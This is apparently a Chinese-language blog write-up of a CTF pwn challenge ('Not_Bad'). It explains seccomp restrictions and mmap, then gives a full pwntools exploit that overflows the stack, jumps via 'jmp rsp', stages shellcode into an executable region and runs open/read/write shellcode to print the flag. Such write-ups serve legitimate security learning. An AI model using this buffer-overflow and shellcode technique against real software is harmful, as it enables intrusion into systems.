ORW-[极客大挑战2019]Not_Bad

Posted by Mr.Be1ieVe on Saturday, February 8, 2020

image-20200203001107437

RWX

  • Linux的文件和目录的权限,有RWX三种。
  • r(Read,读取):对文件而言,具有读取文件内容的权限;对目录来说,具有浏览目录的权限。
  • w(Write,写入):对文件而言,具有新增,修改,删除文件内容的权限;对目录来说,具有新建,删除,修改,移动目录内文件的权限。
  • x(eXecute,执行):对文件而言,具有执行文件的权限;对目录了来说该用户具有进入目录的权限

image-20200203144946071

什么是seccomp

seccomp-tools检测一下seccomp-tools dump ./bad

image-20200203145031485

可运行open,read,write,也就是ORW

关键点

image-20200203145324266

image-20200203145300314

void *mmap(void *start,size_t length,int prot,int flags,int fd,off_t offsize);

mmap()函数的主要用途有三个: 1、将一个普通文件映射到内存中,通常在需要对文件进行频繁读写时使用,这样用内存读写取代I/O读写,以获得较高的性能; 2、将特殊文件进行匿名内存映射,可以为关联进程提供共享内存空间; 3、为无关联的进程提供共享内存空间,一般也是将一个普通文件映射到内存中。 ———————————————— 版权声明:本文为CSDN博主「为幸福写歌」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。 原文链接

总的来说就是,我们可以在这里写入orw_shellcode然后运行hhh

    orw_shellcode = shellcraft.open("./flag")
    orw_shellcode += shellcraft.read(3,0x123000,0x30)
    orw_shellcode += shellcraft.write(1,0x123000,0x30)

read(3,addr,length),3指从文件目录中读取

 payload = asm(shellcraft.read(0,0x123000,0x90)) + asm("mov rax,0x123000;call rax")
    payload = payload.ljust(0x28,"\x00")
    payload += p64(0x400A01)#jmp rsp
    payload += asm("sub rsp,0x30;call rsp")
    sh.sendline(payload)

这样子,我们溢出之后,先执行jmp rsp,然后读入到0x123000的shellcdoe,读入完成之后执行call rax运行shellcode

完整exp

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./bad')
lib = 0
sh = 0
def pwn(ip,port,debug):
    global lib
    global sh
    if debug == 1:
        sh = process('./bad')
        lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    else:
        sh = remote(ip,port)
        lib = ELF('/home/robye/Desktop/PWN/libc/64-libc-2.27.so')
    
    orw_shellcode = shellcraft.open("./flag")
    orw_shellcode += shellcraft.read(3,0x123000,0x30)
    orw_shellcode += shellcraft.write(1,0x123000,0x30)

    sh.recvuntil("fun!")
    payload = asm(shellcraft.read(0,0x123000,0x90)) + asm("mov rax,0x123000;call rax")
    payload = payload.ljust(0x28,"\x00")
    payload += p64(0x400A01)
    payload += asm("sub rsp,0x30;call rsp")
    sh.sendline(payload)
    sleep(0.1)
    sh.sendline(asm(orw_shellcode))

    sh.interactive()
if __name__ ==  "__main__":
    pwn("node3.buuoj.cn",26591,0)

Qfroest大佬学习

「真诚赞赏,手留余香」

Mr.Be1ieVe's Treasure

真诚赞赏,手留余香

使用微信扫描二维码完成支付